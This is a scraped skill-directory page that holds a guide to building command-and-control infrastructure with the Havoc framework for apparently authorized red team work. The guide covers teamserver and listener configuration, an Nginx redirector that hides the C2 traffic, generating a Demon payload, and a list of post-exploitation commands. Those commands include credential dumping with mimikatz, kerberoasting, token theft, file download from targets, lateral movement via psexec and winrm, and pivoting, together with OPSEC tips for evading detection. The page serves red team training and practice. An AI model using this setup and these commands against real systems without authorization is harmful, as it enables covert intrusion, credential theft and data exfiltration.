[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ADZKV0JGVZZTCQDF9FQETV":3,"skill-same:01M6ADZKV0JGVZZTCQDF9FQETV":133},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":74,"commitSha":75,"skillDirectory":76,"forksCount":77,"repositoryHtmlUrl":78,"repositoryHomepageUrl":79,"ownerHtmlUrl":80,"ownerBlogUrl":81,"ownerDescription":82,"updatedAt":83,"install":84,"resources":97},"01M6ADZKV0JGVZZTCQDF9FQETV","building-red-team-c2-infrastructure-with-havoc",null,"Deploy and configure the Havoc C2 framework (teamserver, HTTPS\u002FHTTP\u002FSMB listeners, Nginx redirectors, and Demon agents) with malleable traffic profiles and OPSEC-hardened infrastructure for authorized red team operations. Use when standing up or hardening Havoc C2 infrastructure for a written, authorized adversary emulation engagement.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"red team","building red team c2 infrastructure with havoc","c2","infrastructure","nginx","http","demon-agent","adversary-emulation","red-team-infrastructure","havoc-c2","opsec","command-and-control","validation","cybersecurity","post-exploitation","red-team","file","https","framework","protocol","2026-11-10 10:12:30",false,"---\nname: building-red-team-c2-infrastructure-with-havoc\ndescription: Deploy and configure the Havoc C2 framework (teamserver, HTTPS\u002FHTTP\u002FSMB\n  listeners, Nginx redirectors, and Demon agents) with malleable traffic profiles and\n  OPSEC-hardened infrastructure for authorized red team operations. Use when standing\n  up or hardening Havoc C2 infrastructure for a written, authorized adversary emulation\n  engagement.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- havoc-c2\n- command-and-control\n- red-team-infrastructure\n- post-exploitation\n- adversary-emulation\n- demon-agent\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_ai_rmf:\n- GOVERN-1.1\n- MEASURE-2.7\n- MANAGE-3.1\nd3fend_techniques:\n- File Metadata Consistency Validation\n- Certificate Analysis\n- Application Protocol Command Analysis\n- Content Format Conversion\n- File Content Analysis\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1071.001\n- T1573.002\n- T1583.001\n- T1090.002\n- T1105\n- T1055\n---\n\n# Building Red Team C2 Infrastructure with Havoc\n\n## Overview\n\nHavoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP\u002FHTTPS\u002FSMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.\n\n\n## When to Use\n\n- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)\n- Kali Linux 2023+ (for Client)\n- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)\n- Domain name aged 30+ days with valid SSL certificate\n- Written authorization for red team engagement\n\n## Architecture\n\n```\n┌──────────────────────────────────────────────────────────────┐\n│                    HAVOC C2 ARCHITECTURE                      │\n├──────────────────────────────────────────────────────────────┤\n│                                                               │\n│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │\n│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │\n│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │\n│  │  (Kali)   │     │  (Nginx\u002FCDN) │     │                  │ │\n│  └──────────┘     └──────────────┘     └──────────────────┘ │\n│       │                   │                                   │\n│       │           ┌──────────────┐                            │\n│       └──────────▶│  Havoc       │                            │\n│                   │  Teamserver  │                            │\n│                   │  (Ubuntu VPS)│                            │\n│                   │  Port 40056  │                            │\n│                   └──────────────┘                            │\n│                                                               │\n└──────────────────────────────────────────────────────────────┘\n```\n\n## Step 1: Install Havoc Teamserver\n\n```bash\n# Clone the Havoc repository\ngit clone https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc.git\ncd Havoc\n\n# Install dependencies (Ubuntu 22.04)\nsudo apt update\nsudo apt install -y git build-essential apt-utils cmake libfontconfig1 \\\n    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \\\n    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \\\n    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \\\n    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \\\n    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \\\n    python3-dev libboost-all-dev mingw-w64 nasm\n\n# Build the Teamserver\ncd teamserver\ngo mod download golang.org\u002Fx\u002Fsys\ngo mod download github.com\u002Fugorji\u002Fgo\ncd ..\nmake ts-build\n\n# Build the Client\nmake client-build\n```\n\n## Step 2: Configure Teamserver Profile\n\nCreate the Havoc profile (`havoc.yaotl`):\n\n```hcl\nTeamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"\u002Fusr\u002Fbin\u002Fx86_64-w64-mingw32-gcc\"\n        Compiler86 = \"\u002Fusr\u002Fbin\u002Fi686-w64-mingw32-gcc\"\n        Nasm = \"\u002Fusr\u002Fbin\u002Fnasm\"\n    }\n}\n\nOperators {\n    user \"operator1\" {\n        Password = \"Str0ngP@ssw0rd!\"\n    }\n    user \"operator2\" {\n        Password = \"An0th3rP@ss!\"\n    }\n}\n\nListeners {\n    Http {\n        Name         = \"HTTPS Listener\"\n        Hosts        = [\"c2.yourdomain.com\"]\n        HostBind     = \"0.0.0.0\"\n        HostRotation = \"round-robin\"\n        PortBind     = 443\n        PortConn     = 443\n        Secure       = true\n        UserAgent    = \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36\"\n\n        Uris = [\n            \"\u002Fapi\u002Fv2\u002Fauth\",\n            \"\u002Fapi\u002Fv2\u002Fstatus\",\n            \"\u002Fcontent\u002Fimages\u002Fgallery\",\n        ]\n\n        Headers = [\n            \"X-Requested-With: XMLHttpRequest\",\n            \"Content-Type: application\u002Fjson\",\n        ]\n\n        Response {\n            Headers = [\n                \"Content-Type: application\u002Fjson\",\n                \"Server: nginx\u002F1.24.0\",\n                \"X-Frame-Options: DENY\",\n            ]\n        }\n    }\n}\n\nDemon {\n    Sleep  = 10\n    Jitter = 30\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n```\n\n## Step 3: Start Teamserver\n\n```bash\n# Start the Havoc Teamserver with the profile\n.\u002Fhavoc server --profile .\u002Fprofiles\u002Fhavoc.yaotl -v\n\n# Expected output:\n# [*] Havoc Framework [Version: 0.7]\n# [*] Teamserver started on: 0.0.0.0:40056\n# [*] HTTPS Listener started on: 0.0.0.0:443\n```\n\n## Step 4: Configure HTTPS Redirector\n\nSet up an Nginx reverse proxy on a separate VPS as a redirector:\n\n```nginx\n# \u002Fetc\u002Fnginx\u002Fsites-available\u002Fc2-redirector\nserver {\n    listen 443 ssl;\n    server_name c2.yourdomain.com;\n\n    ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Ffullchain.pem;\n    ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Fprivkey.pem;\n\n    # Only forward traffic matching C2 URIs\n    location \u002Fapi\u002Fv2\u002Fauth {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n        proxy_set_header X-Forwarded-For $remote_addr;\n    }\n\n    location \u002Fapi\u002Fv2\u002Fstatus {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    location \u002Fcontent\u002Fimages\u002Fgallery {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    # Redirect all other traffic to legitimate site\n    location \u002F {\n        return 301 https:\u002F\u002Fwww.microsoft.com;\n    }\n}\n```\n\n## Step 5: Generate Demon Payload\n\n```bash\n# Via the Havoc Client GUI:\n# Attack > Payload\n# Agent: Demon\n# Listener: HTTPS Listener\n# Arch: x64\n# Format: Windows Exe \u002F Windows Shellcode\n# Sleep Technique: WaitForSingleObjectEx (Ekko)\n# Spawn: C:\\Windows\\System32\\notepad.exe\n\n# The generated Demon payload connects back through:\n# Target -> Redirector (Nginx) -> Teamserver\n```\n\n## Step 6: Post-Exploitation with Demon\n\nOnce a Demon session checks in, common post-exploitation commands:\n\n```\n# Session interaction\ndemon> whoami\ndemon> shell systeminfo\ndemon> shell ipconfig \u002Fall\n\n# Process listing\ndemon> proc list\n\n# File operations\ndemon> download C:\\Users\\target\\Documents\\sensitive.docx\ndemon> upload \u002Ftools\u002FRubeus.exe C:\\Windows\\Temp\\r.exe\n\n# In-memory .NET execution (no disk touch)\ndemon> dotnet inline-execute \u002Ftools\u002FSeatbelt.exe -group=all\ndemon> dotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All\n\n# Token manipulation\ndemon> token steal \u003CPID>\ndemon> token make DOMAIN\\user password\n\n# Credential access\ndemon> mimikatz sekurlsa::logonpasswords\ndemon> dotnet inline-execute \u002Ftools\u002FRubeus.exe kerberoast\n\n# Lateral movement\ndemon> jump psexec TARGET_HOST HTTPS_LISTENER\ndemon> jump winrm TARGET_HOST HTTPS_LISTENER\n\n# Pivoting\ndemon> socks start 1080\ndemon> rportfwd start 8080 TARGET_INTERNAL 80\n```\n\n## OPSEC Considerations\n\n| Aspect | Recommendation |\n|---|---|\n| Domain Age | Register domains 30+ days before engagement |\n| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed |\n| Categorization | Submit domain to Bluecoat\u002FFortiguard for categorization |\n| Sleep\u002FJitter | Minimum 10s sleep with 30%+ jitter for long-haul operations |\n| User-Agent | Match target organization's common browser user-agent |\n| Kill Date | Set payload expiration to engagement end date |\n| Infrastructure | Separate teamserver, redirector, and phishing infrastructure |\n| Payload Format | Use shellcode with custom loader instead of raw EXE |\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Phase |\n|---|---|---|\n| T1583.001 | Acquire Infrastructure: Domains | Resource Development |\n| T1583.003 | Acquire Infrastructure: Virtual Private Server | Resource Development |\n| T1587.001 | Develop Capabilities: Malware | Resource Development |\n| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |\n| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |\n| T1090.002 | Proxy: External Proxy | Command and Control |\n| T1105 | Ingress Tool Transfer | Command and Control |\n| T1055 | Process Injection | Defense Evasion |\n\n## References\n\n- Havoc Framework GitHub: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\n- Havoc Wiki: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\u002Fblob\u002Fmain\u002FWIKI.MD\n- RedTeamOps Havoc 101: https:\u002F\u002Fgithub.com\u002FWesleyWong420\u002FRedTeamOps-Havoc-101\n- Deploying Havoc C2 via Terraform: https:\u002F\u002Fwww.100daysofredteam.com\u002Fp\u002Fred-team-infrastructure-deploying-havoc-c2-via-terraform\n","# Building Red Team C2 Infrastructure with Havoc\n\n## Overview\n\nHavoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP\u002FHTTPS\u002FSMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.\n\n\n## When to Use\n\n- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)\n- Kali Linux 2023+ (for Client)\n- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)\n- Domain name aged 30+ days with valid SSL certificate\n- Written authorization for red team engagement\n\n## Architecture\n\n```\n┌──────────────────────────────────────────────────────────────┐\n│                    HAVOC C2 ARCHITECTURE                      │\n├──────────────────────────────────────────────────────────────┤\n│                                                               │\n│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │\n│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │\n│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │\n│  │  (Kali)   │     │  (Nginx\u002FCDN) │     │                  │ │\n│  └──────────┘     └──────────────┘     └──────────────────┘ │\n│       │                   │                                   │\n│       │           ┌──────────────┐                            │\n│       └──────────▶│  Havoc       │                            │\n│                   │  Teamserver  │                            │\n│                   │  (Ubuntu VPS)│                            │\n│                   │  Port 40056  │                            │\n│                   └──────────────┘                            │\n│                                                               │\n└──────────────────────────────────────────────────────────────┘\n```\n\n## Step 1: Install Havoc Teamserver\n\n```bash\n# Clone the Havoc repository\ngit clone https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc.git\ncd Havoc\n\n# Install dependencies (Ubuntu 22.04)\nsudo apt update\nsudo apt install -y git build-essential apt-utils cmake libfontconfig1 \\\n    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \\\n    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \\\n    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \\\n    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \\\n    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \\\n    python3-dev libboost-all-dev mingw-w64 nasm\n\n# Build the Teamserver\ncd teamserver\ngo mod download golang.org\u002Fx\u002Fsys\ngo mod download github.com\u002Fugorji\u002Fgo\ncd ..\nmake ts-build\n\n# Build the Client\nmake client-build\n```\n\n## Step 2: Configure Teamserver Profile\n\nCreate the Havoc profile (`havoc.yaotl`):\n\n```hcl\nTeamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"\u002Fusr\u002Fbin\u002Fx86_64-w64-mingw32-gcc\"\n        Compiler86 = \"\u002Fusr\u002Fbin\u002Fi686-w64-mingw32-gcc\"\n        Nasm = \"\u002Fusr\u002Fbin\u002Fnasm\"\n    }\n}\n\nOperators {\n    user \"operator1\" {\n        Password = \"Str0ngP@ssw0rd!\"\n    }\n    user \"operator2\" {\n        Password = \"An0th3rP@ss!\"\n    }\n}\n\nListeners {\n    Http {\n        Name         = \"HTTPS Listener\"\n        Hosts        = [\"c2.yourdomain.com\"]\n        HostBind     = \"0.0.0.0\"\n        HostRotation = \"round-robin\"\n        PortBind     = 443\n        PortConn     = 443\n        Secure       = true\n        UserAgent    = \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36\"\n\n        Uris = [\n            \"\u002Fapi\u002Fv2\u002Fauth\",\n            \"\u002Fapi\u002Fv2\u002Fstatus\",\n            \"\u002Fcontent\u002Fimages\u002Fgallery\",\n        ]\n\n        Headers = [\n            \"X-Requested-With: XMLHttpRequest\",\n            \"Content-Type: application\u002Fjson\",\n        ]\n\n        Response {\n            Headers = [\n                \"Content-Type: application\u002Fjson\",\n                \"Server: nginx\u002F1.24.0\",\n                \"X-Frame-Options: DENY\",\n            ]\n        }\n    }\n}\n\nDemon {\n    Sleep  = 10\n    Jitter = 30\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n```\n\n## Step 3: Start Teamserver\n\n```bash\n# Start the Havoc Teamserver with the profile\n.\u002Fhavoc server --profile .\u002Fprofiles\u002Fhavoc.yaotl -v\n\n# Expected output:\n# [*] Havoc Framework [Version: 0.7]\n# [*] Teamserver started on: 0.0.0.0:40056\n# [*] HTTPS Listener started on: 0.0.0.0:443\n```\n\n## Step 4: Configure HTTPS Redirector\n\nSet up an Nginx reverse proxy on a separate VPS as a redirector:\n\n```nginx\n# \u002Fetc\u002Fnginx\u002Fsites-available\u002Fc2-redirector\nserver {\n    listen 443 ssl;\n    server_name c2.yourdomain.com;\n\n    ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Ffullchain.pem;\n    ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Fprivkey.pem;\n\n    # Only forward traffic matching C2 URIs\n    location \u002Fapi\u002Fv2\u002Fauth {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n        proxy_set_header X-Forwarded-For $remote_addr;\n    }\n\n    location \u002Fapi\u002Fv2\u002Fstatus {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    location \u002Fcontent\u002Fimages\u002Fgallery {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    # Redirect all other traffic to legitimate site\n    location \u002F {\n        return 301 https:\u002F\u002Fwww.microsoft.com;\n    }\n}\n```\n\n## Step 5: Generate Demon Payload\n\n```bash\n# Via the Havoc Client GUI:\n# Attack > Payload\n# Agent: Demon\n# Listener: HTTPS Listener\n# Arch: x64\n# Format: Windows Exe \u002F Windows Shellcode\n# Sleep Technique: WaitForSingleObjectEx (Ekko)\n# Spawn: C:\\Windows\\System32\\notepad.exe\n\n# The generated Demon payload connects back through:\n# Target -> Redirector (Nginx) -> Teamserver\n```\n\n## Step 6: Post-Exploitation with Demon\n\nOnce a Demon session checks in, common post-exploitation commands:\n\n```\n# Session interaction\ndemon> whoami\ndemon> shell systeminfo\ndemon> shell ipconfig \u002Fall\n\n# Process listing\ndemon> proc list\n\n# File operations\ndemon> download C:\\Users\\target\\Documents\\sensitive.docx\ndemon> upload \u002Ftools\u002FRubeus.exe C:\\Windows\\Temp\\r.exe\n\n# In-memory .NET execution (no disk touch)\ndemon> dotnet inline-execute \u002Ftools\u002FSeatbelt.exe -group=all\ndemon> dotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All\n\n# Token manipulation\ndemon> token steal \u003CPID>\ndemon> token make DOMAIN\\user password\n\n# Credential access\ndemon> mimikatz sekurlsa::logonpasswords\ndemon> dotnet inline-execute \u002Ftools\u002FRubeus.exe kerberoast\n\n# Lateral movement\ndemon> jump psexec TARGET_HOST HTTPS_LISTENER\ndemon> jump winrm TARGET_HOST HTTPS_LISTENER\n\n# Pivoting\ndemon> socks start 1080\ndemon> rportfwd start 8080 TARGET_INTERNAL 80\n```\n\n## OPSEC Considerations\n\n| Aspect | Recommendation |\n|---|---|\n| Domain Age | Register domains 30+ days before engagement |\n| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed |\n| Categorization | Submit domain to Bluecoat\u002FFortiguard for categorization |\n| Sleep\u002FJitter | Minimum 10s sleep with 30%+ jitter for long-haul operations |\n| User-Agent | Match target organization's common browser user-agent |\n| Kill Date | Set payload expiration to engagement end date |\n| Infrastructure | Separate teamserver, redirector, and phishing infrastructure |\n| Payload Format | Use shellcode with custom loader instead of raw EXE |\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Phase |\n|---|---|---|\n| T1583.001 | Acquire Infrastructure: Domains | Resource Development |\n| T1583.003 | Acquire Infrastructure: Virtual Private Server | Resource Development |\n| T1587.001 | Develop Capabilities: Malware | Resource Development |\n| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |\n| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |\n| T1090.002 | Proxy: External Proxy | Command and Control |\n| T1105 | Ingress Tool Transfer | Command and Control |\n| T1055 | Process Injection | Defense Evasion |\n\n## References\n\n- Havoc Framework GitHub: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\n- Havoc Wiki: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\u002Fblob\u002Fmain\u002FWIKI.MD\n- RedTeamOps Havoc 101: https:\u002F\u002Fgithub.com\u002FWesleyWong420\u002FRedTeamOps-Havoc-101\n- Deploying Havoc C2 via Terraform: https:\u002F\u002Fwww.100daysofredteam.com\u002Fp\u002Fred-team-infrastructure-deploying-havoc-c2-via-terraform\n",{"name":5,"tags":49,"author":50,"domain":37,"license":15,"version":51,"nist_csf":52,"subdomain":56,"description":7,"nist_ai_rmf":57,"mitre_attack":61,"d3fend_techniques":68},[33,35,32,38,31,30],"mahipal","1.0",[53,54,55],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[58,59,60],"GOVERN-1.1","MEASURE-2.7","MANAGE-3.1",[62,63,64,65,66,67],"T1071.001","T1573.002","T1583.001","T1090.002","T1105","T1055",[69,70,71,72,73],"File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fbuilding-red-team-c2-infrastructure-with-havoc",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":85,"prompt":95,"zipAvailable":96},[86,89,92],{"tool":87,"command":88},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill building-red-team-c2-infrastructure-with-havoc",{"tool":90,"command":91},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill building-red-team-c2-infrastructure-with-havoc",{"tool":93,"command":94},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill building-red-team-c2-infrastructure-with-havoc","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FSKILL.md",true,[98,104,109,115,119,123,129],{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"assets\u002Ftemplate.md","ASSET","资产文件",3873,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fassets\u002Ftemplate.md",{"path":105,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":107,"sourceHtmlUrl":108},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FLICENSE",{"path":110,"resourceType":111,"resourceTypeDesc":112,"sizeBytes":113,"sourceHtmlUrl":114},"references\u002Fapi-reference.md","REFERENCE","参考文档",1869,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fapi-reference.md",{"path":116,"resourceType":111,"resourceTypeDesc":112,"sizeBytes":117,"sourceHtmlUrl":118},"references\u002Fstandards.md",2491,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fstandards.md",{"path":120,"resourceType":111,"resourceTypeDesc":112,"sizeBytes":121,"sourceHtmlUrl":122},"references\u002Fworkflows.md",8168,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fworkflows.md",{"path":124,"resourceType":125,"resourceTypeDesc":126,"sizeBytes":127,"sourceHtmlUrl":128},"scripts\u002Fagent.py","SCRIPT","脚本",6237,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fscripts\u002Fagent.py",{"path":130,"resourceType":125,"resourceTypeDesc":126,"sizeBytes":131,"sourceHtmlUrl":132},"scripts\u002Fprocess.py",12571,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fscripts\u002Fprocess.py",[134,161,185,211,237,263],{"skillNo":135,"name":136,"nameZh":6,"description":137,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":138,"categories":139,"keywords":141,"publishedAt":44},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[140],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[142,143,144,145,146,37,147,148,149,150,151,152,153,154,155,156,157,158,159,160],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":162,"name":163,"nameZh":6,"description":164,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":165,"categories":166,"keywords":168,"publishedAt":44},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[167],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[169,157,170,171,146,172,37,149,173,174,175,176,177,178,179,180,181,182,183,184],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":186,"name":187,"nameZh":6,"description":188,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":189,"categories":190,"keywords":195,"publishedAt":44},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or 